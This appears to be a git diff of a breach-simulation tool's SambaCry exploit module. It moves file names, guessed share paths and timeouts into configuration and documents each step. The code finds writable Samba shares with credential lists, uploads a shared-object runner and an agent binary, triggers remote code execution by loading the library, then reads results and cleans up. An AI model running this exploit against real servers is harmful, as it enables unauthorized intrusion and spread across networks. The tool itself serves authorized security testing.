diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index 659f26120..d8889f1c5 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -220,10 +220,33 @@ class Configuration(object): smb_download_timeout = 300 # timeout in seconds smb_service_name = "InfectionMonkey" + # Timeout (in seconds) for sambacry's trigger to yield results. + sambacry_trigger_timeout = 5 + # Folder paths to guess share lies inside. + sambacry_folder_paths_to_guess = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home'] + # Shares to not check if they're writable. + sambacry_shares_not_to_check = ["IPC$", "print$"] + # Name of file which contains the monkey's commandline + sambacry_commandline_filename = "monkey_commandline.txt" + # Name of file which contains the runner's result + sambacry_runner_result_filename = "monkey_runner_result" + # SambaCry runner filename (32 bit) + sambacry_runner_filename_32 = "sc_monkey_runner32.so" + # SambaCry runner filename (64 bit) + sambacry_runner_filename_64 = "sc_monkey_runner64.so" + # Monkey filename on share (32 bit) + sambacry_monkey_filename_32 = "monkey32" + # Monkey filename on share (64 bit) + sambacry_monkey_filename_64 = "monkey64" + # Monkey copy filename on share (32 bit) + sambacry_monkey_copy_filename_32 = "monkey32_2" + # Monkey copy filename on share (64 bit) + sambacry_monkey_copy_filename_64 = "monkey64_2" + + # system info collection collect_system_info = True - ########################### # systeminfo config ########################### diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index b8131fc61..4612263cb 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -58,9 +58,20 @@ "serialize_config": false, "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", "skip_exploit_if_file_exist": true, - "local_network_scan": true, "exploit_user_list": [], - "exploit_password_list" = [] + "exploit_password_list": [], + sambacry_trigger_timeout: 5, + sambacry_folder_paths_to_guess: ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home'], + sambacry_shares_not_to_check: ["IPC$", "print$"], + sambacry_commandline_filename: "monkey_commandline.txt", + sambacry_runner_result_filename: "monkey_runner_result", + sambacry_runner_filename_32: "sc_monkey_runner32.so", + sambacry_runner_filename_64: "sc_monkey_runner64.so", + sambacry_monkey_filename_32: "monkey32", + sambacry_monkey_filename_64: "monkey64", + sambacry_monkey_copy_filename_32: "monkey32_2", + sambacry_monkey_copy_filename_64: "monkey64_2", + "local_network_scan": false, "tcp_scan_get_banner": true, "tcp_scan_interval": 200, "tcp_scan_timeout": 10000, diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index 708898129..d0a751bbf 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -1,51 +1,36 @@ -from optparse import OptionParser -from impacket.dcerpc.v5 import transport -from os import path -import time -import sys -from io import BytesIO import logging import re -from impacket.smbconnection import SMBConnection +import sys +import time +from io import BytesIO +from os import path + import impacket.smbconnection -from impacket.smb import SessionError -from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED from impacket.nt_errors import STATUS_SUCCESS from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \ FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE -from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \ - SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA +from impacket.smb import SessionError +from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, \ + SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE +from impacket.smbconnection import SMBConnection -from exploit import HostExploiter -from exploit.tools import get_target_monkey -from network.smbfinger import SMB_SERVICE -from model import DROPPER_ARG -from tools import build_monkey_commandline import monkeyfs +from exploit import HostExploiter +from model import DROPPER_ARG +from network.smbfinger import SMB_SERVICE +from tools import build_monkey_commandline __author__ = 'itay.mizeretz' -# TODO: add documentation - -# TODO: add license credit?: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py - -# TODO: remove /home/user -# TODO: take all from config -FOLDER_PATHS_TO_GUESS = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home', '/home/user'] -RUNNER_FILENAME_32 = "sc_monkey_runner32.so" -RUNNER_FILENAME_64 = "sc_monkey_runner64.so" -COMMANDLINE_FILENAME = "monkey_commandline.txt" -MONKEY_FILENAME_32 = "monkey32" -MONKEY_FILENAME_64 = "monkey64" -MONKEY_COPY_FILENAME_32 = "monkey32_2" -MONKEY_COPY_FILENAME_64 = "monkey64_2" -RUNNER_RESULT_FILENAME = "monkey_runner_result" -SHARES_TO_NOT_CHECK = ["IPC$", "print$"] - LOG = logging.getLogger(__name__) class SambaCryExploiter(HostExploiter): + """ + SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket: + https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py + """ + # TODO: is this credit sufficient? _target_os_type = ['linux'] def __init__(self): @@ -53,20 +38,19 @@ class SambaCryExploiter(HostExploiter): def exploit_host(self, host, depth=-1, src_path=None): if not self.is_vulnerable(host): - return + return False writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr) LOG.info("Writable shares and their credentials on host %s: %s" % (host.ip_addr, str(writable_shares_creds_dict))) - # TODO: decide about ignoring src_path because of arc detection bug - src_path = src_path or get_target_monkey(host) - + host.services[SMB_SERVICE]["shares"] = {} for share in writable_shares_creds_dict: + host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]} self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth) - # TODO: config sleep time - time.sleep(5) + # Wait for samba server to load .so, execute code and create result file. + time.sleep(self._config.sambacry_trigger_timeout) successfully_triggered_shares = [] @@ -76,7 +60,8 @@ class SambaCryExploiter(HostExploiter): successfully_triggered_shares.append((share, trigger_result)) self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) - # TODO: send telemetry + for share, fullpath in successfully_triggered_shares: + host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath if len(successfully_triggered_shares) > 0: LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares))) @@ -86,6 +71,14 @@ class SambaCryExploiter(HostExploiter): return False def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth): + """ + Tries exploiting share + :param host: victim Host object + :param share: share name + :param creds: credentials to use with share + :param monkey_bin_src_path: src path of monkey binary to upload + :param depth: current depth of monkey + """ try: smb_client = self.connect_to_server(host.ip_addr, creds) self.upload_module(smb_client, host, share, monkey_bin_src_path, depth) @@ -95,12 +88,18 @@ class SambaCryExploiter(HostExploiter): LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds))) def clean_share(self, ip, share, creds): + """ + Cleans remote share of any remaining files created by monkey + :param ip: IP of victim + :param share: share name + :param creds: credentials to use with share. + """ smb_client = self.connect_to_server(ip, creds) tree_id = smb_client.connectTree(share) - file_list = [COMMANDLINE_FILENAME, RUNNER_RESULT_FILENAME, - RUNNER_FILENAME_32, RUNNER_FILENAME_64, - MONKEY_FILENAME_32, MONKEY_FILENAME_64, - MONKEY_COPY_FILENAME_32, MONKEY_COPY_FILENAME_64] + file_list = [self._config.sambacry_commandline_filename, self._config.sambacry_runner_result_filename, + self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64, + self._config.sambacry_monkey_filename_32, self._config.sambacry_monkey_filename_64, + self._config.sambacry_monkey_copy_filename_32, self._config.sambacry_monkey_copy_filename_64] for filename in file_list: try: @@ -112,11 +111,19 @@ class SambaCryExploiter(HostExploiter): smb_client.close() def get_trigger_result(self, ip, share, creds): + """ + Checks if the trigger yielded any result and returns it. + :param ip: IP of victim + :param share: share name + :param creds: credentials to use with share. + :return: result of trigger if there was one. None otherwise + """ smb_client = self.connect_to_server(ip, creds) tree_id = smb_client.connectTree(share) file_content = None try: - file_id = smb_client.openFile(tree_id, "\\%s" % RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA) + file_id = smb_client.openFile(tree_id, "\\%s" % self._config.sambacry_runner_result_filename, + desiredAccess=FILE_READ_DATA) file_content = smb_client.readFile(tree_id, file_id) smb_client.closeFile(tree_id, file_id) except (impacket.smbconnection.SessionError, SessionError): @@ -127,7 +134,11 @@ class SambaCryExploiter(HostExploiter): return file_content def get_writable_shares_creds_dict(self, ip): - # TODO: document + """ + Gets dictionary of writable shares and their credentials + :param ip: IP address of the victim + :return: Dictionary of writable shares and their corresponding credentials. + """ writable_shares_creds_dict = {} credentials_list = self.get_credentials_list() @@ -163,13 +174,18 @@ class SambaCryExploiter(HostExploiter): def list_shares(self, smb_client): shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] - for share in SHARES_TO_NOT_CHECK: + for share in self._config.sambacry_shares_not_to_check: if share in shares: shares.remove(share) return shares def is_vulnerable(self, host): + """ + Checks whether the victim runs a possibly vulnerable version of samba + :param host: victim Host object + :return: True if victim is vulnerable, False otherwise + """ if SMB_SERVICE not in host.services: LOG.info("Host: %s doesn't have SMB open" % host.ip_addr) return False @@ -199,6 +215,12 @@ class SambaCryExploiter(HostExploiter): return is_vulnerable def is_share_writable(self, smb_client, share): + """ + Checks whether the share is writable + :param smb_client: smb client object + :param share: share name + :return: True if share is writable, False otherwise. + """ LOG.debug('Checking %s for write access' % share) try: tree_id = smb_client.connectTree(share) @@ -217,20 +239,28 @@ class SambaCryExploiter(HostExploiter): return writable def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth): + """ + Uploads the module and all relevant files to server + :param smb_client: smb client object + :param host: victim Host object + :param share: share name + :param monkey_bin_src_path: src path of monkey binary to upload + :param depth: current depth of monkey + """ tree_id = smb_client.connectTree(share) with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file: - smb_client.putFile(share, "\\%s" % COMMANDLINE_FILENAME, monkey_commandline_file.read) + smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read) with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: - smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_32, monkey_runner_bin_file.read) + smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_32, monkey_runner_bin_file.read) with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: - smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_64, monkey_runner_bin_file.read) + smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read) with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file: # TODO: Fix or postpone 32/64 architecture problem. - smb_client.putFile(share, "\\%s" % MONKEY_FILENAME_64, monkey_bin_file.read) + smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read) smb_client.disconnectTree(tree_id) @@ -246,9 +276,15 @@ class SambaCryExploiter(HostExploiter): credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"]) return smb_client - def trigger_module(self, smb_client, share_name): + def trigger_module(self, smb_client, share): + """ + Tries triggering module + :param smb_client: smb client object + :param share: share name + :return: True if might triggered successfully, False otherwise. + """ trigger_might_succeeded = False - module_possible_paths = self.generate_module_possible_paths(share_name) + module_possible_paths = self.generate_module_possible_paths(share) for module_path in module_possible_paths: trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path) @@ -270,13 +306,11 @@ class SambaCryExploiter(HostExploiter): if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: return True else: - # TODO: remove print - print str(e) + pass return False - @staticmethod - def generate_module_possible_paths(share_name): + def generate_module_possible_paths(self, share_name): """ Generates array of possible paths :param share_name: Name of the share @@ -284,21 +318,19 @@ class SambaCryExploiter(HostExploiter): """ possible_paths = [] - for folder_path in FOLDER_PATHS_TO_GUESS: - for file_name in [RUNNER_FILENAME_32, RUNNER_FILENAME_64]: + for folder_path in self._config.sambacry_folder_paths_to_guess: + for file_name in [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]: possible_paths.append('%s/%s/%s' % (folder_path, share_name, file_name)) return possible_paths - @staticmethod - def get_monkey_runner_bin_file(is_32bit): + def get_monkey_runner_bin_file(self, is_32bit): if is_32bit: - return open(path.join(sys._MEIPASS, RUNNER_FILENAME_32), "rb") + return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_32), "rb") else: - return open(path.join(sys._MEIPASS, RUNNER_FILENAME_64), "rb") + return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_64), "rb") - @staticmethod - def get_monkey_commandline_file(host, depth, location): + def get_monkey_commandline_file(self, host, depth, location): return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location)) # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #